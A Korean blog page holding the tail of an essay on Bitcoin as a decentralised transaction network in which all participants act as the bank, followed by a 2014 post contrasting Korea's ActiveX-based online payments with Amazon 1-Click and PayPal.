다시 말하자면 비트코인은 이전 비트코인(거래)을 포함하고, 이전 비트코인은 그 이전 비트코인(거래)을 포함한다. 결국 비트코인은 과거의 거래기록을 온전히 포함하는 거래의 네트워크인 것이다. 예를 들어 친구가 준(즉 from 친구 to 나) 액면 1 비트코인(BTC) 코인을 10개 가지고 있다고 가정하면 이 10개의 비트코인은 전부 각자의 히스토리를 기록으로 가지고 있는 것이다. 모든 비트코인이 과거의 거래를 포함한 네트워크가 됨에 따라 거래는 투명해지고 끝까지 추적하는 것도 가능해진다.

얼마전 비트코인 거래소 ‘비트인스턴트(BitInstant)’의 CEO 찰리 슈렘(Charlie Shrem)이 비트코인 불법 거래로 체포된 사건이 있었다. 실크로드라는 불법 마약거래 사이트 사용자들에게 백만 달러 이상의 비트코인을 판매했을 뿐만 아니라 본인 스스로도 마약 거래에 참여한 사실이 밝혀졌다. 그런데 이 충격적인 사실은 비트코인이 네트워크이기 때문에 밝혀진 것이기도 하다. FBI는 실크로드 사이트 관련 모든 자료를 압수수색했는데 그 안에는 비트코인의 모든 거래 관계가 낱낱이 남아있었고 이를 바탕으로 슈렘을 체포하는 것까지 가능했던 것이다(물론 은행장이 자금 세탁을 주도한 것은 매우 유감스러운 일이다).

기존 화폐 시스템에서는 돈을 주고 받으면 거래가 끝난다. 그러나 비트코인에서는 1:1 관계로 끝나는 거래가 없다. 네트워크에서 분리된 단 하나의 코인도, 거래도 존재할 수 없으며 코인이 발행되고 거래가 지속될수록 연결은 늘어나고 네트워크는 성장한다. 여기서 각자는 목적에 따라 1:1로 거래를 하겠지만 그 결과는 전체를 움직이는 요소가 된다. 이러한 속성이 화폐의 중앙집권적 구조를 통째로 해체시키게 되는 것이다.

3. 우리가 은행이다(We are a Bank)
코인이 모두 연결된 링크가 되고 거래가 (히스토리를 포함한) 네트워크가 됨에 따라 우리의 역할은 매개자, 즉 이 시스템 전체를 능동적으로 움직이는 주체가 된다. 개념적으로, 은유적으로 그렇다는 것이 아니라 실제로 물리적 노드로서 네트워크를 직접 움직인다. 여러분이 직접 화폐를 발행하고 거래를 승인하고 화폐의 가치를 결정하며 서로의 보안을 책임지는 것이다. 여기서 부자, 정부, 은행이라는 노드는 존재하지 않는다. 그 누구도 이 네트워크를 인위적으로 통제할 수 없는 대신 참여자 전체가 은행이 된다.

참여자(매개자)의 역할
(1)화폐의 발행: 이미 설명한 바와 같다. 여기서는 거래(네트워크의 소비)가 곧 화폐의 발행이다. 비트코인의 공급량은 2천백만개로 한정되어 있지만 거래를 할 때마다 기존의 화폐를 폐기하고 새로운 화폐가 발행된다. 화폐를 주조하는 기존의 중앙은행 시스템의 역할을 모든 거래자가 나눠서 수행한다.

(2)거래의 기록 및 승인: 비트코인 채굴자가 되어 직접 거래를 기록하고 승인한다. 거래가 이뤄지면 네트워크의 모든 노드들에게 이 사실이 알려지는데, 채굴은 실제로 일어난 거래행위를 공식화하고 네트워크에 기록을 남기는 과정을 뜻한다(채굴의 목적과 쓰임에 대해서는 ‘비트코인 채굴과 선순환 구조‘ 참고). ’Proof-of-work’으로 알려진 협업 기반 거래 승인 과정이며 채굴자는 단순히 코인을 캐는 사람이 아니라 네트워크를 강화, 지속, 확장시키는 매개자가 된다.

(3)시스템의 보안: 거래 메커니즘이 참여자 전체를 통해 분산되어 작동함에 따라 시스템 보안의 주체도 달라진다. 기존 방식은 보안을 위임받은 소수가 전체 네트워크를 책임지게 되어 있다. 은행의 보안 시스템이 선과 악(해킹)을 가려내고 악의 침입을 각종 기술을 동원해서 막는 방법이다. 그러나 모든 것이 연결되는 세상에서 이렇게 소수가 전체 네트워크를 책임지는 방식은 이미 한계에 다다르고 있다.

반면 비트코인의 시스템은 완전히 분산된 신뢰 네트워크를 형성한다[A. Antonopoulos, “Bitcoin Security Model: Trust by Computation,” Forbes, Feb 20, 2014]. 여기서는 모든 사람들(블록체인을 만들어 거래 승인에 참여하는 채굴자, 디지털 서명을 기반으로 화폐를 생성하는 거래자 등) 중에서 악이 과반수를 넘지않으면 보안이 유지된다. 누군가를 믿고 권한을 위임하는 것이 아니다. 비트코인 시스템에서는 참여자 전체가 서로의 보안을 책임진다. 협업 보안이다.

매개자가 만드는 유기적 네트워크
물론 이 3가지는 개별적이지 않고 상호의존적으로 작동한다. 화폐의 공급과 거래, 보안에 이르기까지 선순환 네트워크가 만들어지기에 시스템의 주체가 은행에서 참여자(매개자)로 뒤바뀌는 것이 가능한 것이다. 비트코인 거래만이 아니다. 오가닉 미디어 세상에서는 사용자, 소비자, 거래자, 유권자가 모두 매개자가 된다. 이에 따라 사업자, 공급자, 은행, 정당 등에 집중되었던 권력이 해체되고 분산(Decentralization)되는 현상이 일어난다.

다수의 매개자가 만드는 네트워크는 유기적이다. 여기서는 화폐가 컨테이너(달러, 원화, 동전, 지폐 등)가 아니라 어디든 흘러다니고 어디서든 연결되는 링크가 될 것이다. 국경을 기반으로 화폐 단위를 나누지 않고 낱낱이 흩어진 우리가 매개자가 되어 네트워크의 전체를 움직이게 될 것이다. 여기서는 소수가 시스템을 통제하고 보안하는 것은 불가능해지고 매개자 전체가 상호의존적 관계로 묶여 서로의 보안을 책임질 수 있는 구조만이 답이다. 새로운 방식의 협업 모델이다.

누가 이 모든 현상의 주인공이 될지는 알 수 없다. 분명한 것은, 이런 협업 네트워크는 (통제 대신) 사용자의 행위에 따라 발달, 성장, 쇠태, 소멸을 경험할 것이라는 점이다. 비트코인이 그 주인공이 된다면 그것은 국가가, 기관이 정하는 것이 아니라 진화하기 때문에 가능한 일이 되는 것이다. 이 글에서 비트코인을(화폐를) ‘진화하는 유기체’라고 한 이유도 이와 같다. 지금 문제의 핵심은 시대의 상징으로서의 화폐가 이미 ‘형태변이’를 시작했다는 점이다. 오가닉 미디어 세상이 어디로 진화해 가는지 보여주는 중요한 시그널이다.

<관련 포스트>

연결이 지배하는 세상, 화폐의 필연적 진화
비트코인 채굴과 선순환 구조
비트코인 주소, 거래, 그리고 지갑
매개의 4가지 유형: 창조, 재창조, 복제 그리고 소비

 Posted by at 11:23 AM

아마존 이야기

 IT, 정보보호  Comments Off on 아마존 이야기
Feb 252014
 

아마존의 원클릭 결제와 망국병 액티브엑스 기반의 결제

Standard

amazon

세계최대 온라인 쇼핑기업인 아마존이 우리나라 온라인 쇼핑산업에 진출한다는 소식이 전해졌다. 아마존은 지난 해 5월 ‘아마존 코퍼레이트 서비시즈 코리아‘란 한국법인을 설립하였고, ‘아마존 웹 서비스(AWS)’를 시작했다. 아마존은 여기에 그치지 않고 물류창고지를 알아보는 등 물밑 준비를 한다는게 알려진 것이다. 아마도 일본에서의 성공경험과 더불어 우리나라 사람들의 해외직접구매 열기때문에 우리나라 시장에 거는 기대가 클 것이다.

그런데 우리나라 소비자들 사이에서 특이한 환호성이 나왔다. 마치 애플의 아이폰이 그랬던 것 처럼, 아마존이 들어와서 액티브액스 전자결제의 고통에서 해방시켜 달라는 절규였다. 필자도 동감할 만한 경험이 여럿있다. 작년 초 온라인 쇼핑몰에서 물건을 잔뜩 찾아서 쇼핑백에 담고, 결제를 하려했더니 액티브엑스를 설치해야 했다. 그런데 시스템이 재부팅되더니 쇼핑백은 텅비었다. 20 분에 걸친 노력 끝에 결국 구매를 포기했다. 하지만 포기하지 못하는 경우도 있었다. 한 대학에서 학적부를 발급 받으려했는데 수수료 포함 550원을 결제해야했다. 역시 액티브엑스를 설치하고 또 설치하고 그러다가 무려 22분이 걸렸다. 허탈과 분노로 점철된 쇼핑의 사용자경험(UX)이다.

외국의 쇼핑사이트는 전혀 그렇지 않다. 돈 쓰겠다는데 쫓아내는 우리나라와 달리 편하게 돈쓰게 만드는 서비스를 가지고 있기 때문이다. 대표적인 서비스가 바로 아마존의 원클릭(1 click)과 페이팔(PayPal)이다. 오늘은 이들이 추구하는 사용자경험(User eXperience)의 구매편의성을 이해하고, 액티브엑스로 억압받는 국내 쇼핑산업의 경쟁력을 되돌아 보았으면 한다.

1)    아마존의 원클릭 서비스

아마존의 원클릭 서비스란 한 번에 모든 일이 끝난다는 뜻이다. 물건을 보고 그 옆에 있는 원클릭 버튼을 누르면 다 된다. 버튼을 누르면 주문이 접수되고, 등록해 놓았던 신용카드로 결제가 되고, 저장된 주소로 배달 된다. 물론 30분이내에 취소할 수 있다. 인터넷익스플로러(IE) 뿐만 아니라 크롬이나 파이어폭스, 사파리에서도 되고, 애플 컴퓨터에서도 쓸 수 있다.

한번 클릭이란 극단적 편리함에는 소비자가 돈을 내는지도 모르게 한다는 전략이 숨어 있다. 결제과정을 최소화시켰기 때문에, 소비자는 클릭을 하는 과정에서 하게 되는 돈을 낼까말까라는 고민이 줄고, 결국 쇼핑을 더 많이 하게 된다.

2) 페이팔

아마존의 원클릭보다 광범위하게 쓰이는 온라인 결제 1위 서비스가 페이팔(PayPal)이다. 아마존의 원클릭은 아마존 내에서만 사용할 수 있지만, 페이팔은 온라인 쇼핑 뿐만아니라 기부등 송수금 서비스 전반에서 사용하고 있다. 현재 전세계 24가지 통화(currency)를 지원하며, 3억 개가 넘는 계좌를 가지고 있다. 이베이(eBay)에서는 판매자들이 수금을 하는 유일한 수단이기도 하다.

페이팔의 역사를 간단히 살펴보자. 우리가 액티브엑스에 시달리고 있는 지금으로 부터 약 15년 전까지 거슬러 올라간다. 페이팔의 기원은 전기자동차로 잘 알려진 앨런 머스크가 1999년에 설립한 엑스닷컴(x.com)이다. 머스크는 집투(Zip2)를 팔아서 번  2천2백만 달러중 일천만 달러를 투자하여, 은행을 거치지 않고 이메일을 이용해서 간편하게 송금하는 방법을 고안하였다. 그리고 2000년에 컨피니티(Confinity)와 합병하여 페이팔을 개명했다. 다음 해인 2001년에 페이팔은 엄청난 성장을 거두며, 10대 인터넷 결제서비스가 되었다. 2002년 이베이(eBay)는 간편한 결제의 중요성을 알아차리고 미화 1.5빌리언달러, 우리 돈으로 약 1조 6천억원에 페이팔을 인수하였다. (지면의 제약으로 다루지 못하지만 페이팔 창업멤버의 성공을 빗댄 ‘페이팔 마피아’를 찾아서 읽어보기 바란다.)

페이팔은 은행을 거치지 않고 인터넷을 통해 결제를 하고 송수금을 할 수 있는 간편한 서비스이다. 결제시 신용카드 정보를 매번 입력할 필요가 없으며, 페이팔 버튼을 누르고 비밀번호만 넣으면 된다. 업체측에 신용카드 번호나 은행계좌번호, 개인정보를 보내지 않아 안심도 된다. 그리고 여러 사이트에서 동일한 페이팔 결제시스템을 쓰기 때문에 매번 결제방법을 배울 필요도 없고, 사이트마다 신용카드 정보를 입력할 필요가 없다. 개인, 개인사업자, 법인 모두 거래 계좌를 개설할 수 있으며, 계좌 유지 수수료는 무료이다. 우리나라에서도 비자나 마스터 같이 해외에서 사용할 수 있는 신용카드만 있으면 사용할 수 있다.

페이팔을 기본으로 하는 다양한 응용결제 서비스가 등장하기도 하였다. 예를 들어 빌미레이터(BillMeLater)라는 서비스는 이름 그래도 요금을 지불하는 시점이 25-90일 정도로 미루어진다. 따라서 당장에 돈이 나가지 않는 거래에 유리하다. 거래 특성상 신용카드는 사용할 수 없다는 단점이 있고, 만기일까지 송금하지 않을 경우 많은 이자를 지불해야 한다. 트위터에서 이용하는 트윗페이(Twitpay)도 페이팔을 기본으로 한다.  수취인의 사용자 계정과 액수를 보내면, 수취인에게 메세지를 전달하면서 돈은 페이팔을 통해 결제된다.

분명한 것은 아마존의 원클릭이나 페이팔처럼 간단하고, 편리하며, 안전한 결제 서비스가 도입되어야 쇼핑의 사용자경험(UX)이 개선될 수 있다. 그래야 소비자들은 즐겁게 쇼핑하고, 쉽게 구매를 하고, 기업은 돈을 벌 수 있다. 문제는 돈을 쓰고 싶어도 절약하게 만드는 액티브엑스 기반의 결제 때문에 한국의 온라인 쇼핑 산업이 경쟁력을 잃고 있다는 점이다.

엑티브엑스 기반의 전자결제는 이제 망국병이라 해도 과언이 아닐 것이다. 마이크로 소프트도 포기했다는 액티브엑스를 고수하는 심각성이 잘 드러난 예가 있다. 어떤 웹사이트에서는 IE 10은 지원하지 않으니, 액티트엑스를 잘 설치할 수 있는 IE 6에서 IE 9로 내려서 사용하라는 웹사이트도 있었다. 보안때문에 액티브엑스가 있어야한다는 이야기도 있는데, 보안의 기본 규칙도 지키지 않는다는 것은 잘 알려져 있으니 더 이상 거론도 않겠다.

우리 쇼핑 산업은 이미 안방에서 글로벌 경쟁을 하고 있다. 국내 소비자는 네 명중 한 명 꼴로 불편하고 값비싼 국내 온라인 쇼핑대신 해외 온라인 쇼핑을 하며 그 편리함에 감탄하고 있다. 여기에 이제 아마존까지 한국으로 진출한다고 한다. 물론 아마존이 한국에 들어오면 액티브엑스 때문에 원클릭을 못쓰게 되어 결국 마찬가지로 불편해 질 것이란 주장도 있다. 그렇지만 아마존이 물류창고만 한국에 두고, 비자나 마스터 등 해외결제 가능한 카드만으로 모든 거래를 미국서버에서 한다면 어떻게 될까? 쉽진 않지만 전혀 불가능한 스토리도 아니다. 이미 스마트폰에서 유료 앱을 구매할 때 원화가 아닌 달러로 표시되고, 카카오톡에서 스티커를 구입할 때도 달러로 표시된다. 결제는 해외결제가 가능한 비자나 마스터 카드로만 하고 있다. (재작년 구글은 플레이스토어에서 우리나라 카드로 결제할 수 있도록 시도를 했지만 국내 법의 제약 때문에 포기했다.)

그리고 액티브엑스 기반의 결제는 우리나라 온라인 쇼핑 산업의 글로벌화도 막는다. 우리나라 소비자가 해외 직접구매에 열을 올리는 것처럼, 한류붐을 타고 우리나라 쇼핑사이트에서 직접구매하고 싶은 해외 소비자가 있을 수 있다. 중국, 일본, 동남아는 신선식품배송도 할 수 있다. 하지만 가슴에 ‘참을 인’자를 서른 번쯤 새기면 돈을 받아주겠다며 액티브엑스기반 결제 서비스를 설득 할 수 있을까? 해외에선 50%이상이 IE를 쓰지 않고 크롬이나 파이어팍스, 사파리를 쓴다는 통계도 있고, 미국에선 마이크로 소프트 윈도우를 쓰지 않는 사용자가 30%나 달한다고도 한다. 이런 소비자는 배척의 대상인가?

우리나라 산업은 외세의 힘을 빌리지 않으면 혁신할 수 없는가? 아마존의 한국진출이 실현될 지, 액티브엑스로 부터 국내 소비자를 구원해 낼 수 있을지는 모르겠다. 다만 우리나라 온라인 쇼핑 산업이 퍼스트무버로 진일보하려면 철저하게 사용자경험(UX)에 입각한 산업 전략과 관련 법규의 정비가 필요하다. 그 발걸음의 시작이 액티브엑스의 철폐와 관련법규의 정비이다.

 

http://uxsymphony.wordpress.com/2014/01/09/amazon-1-click/

 

 Posted by at 5:23 PM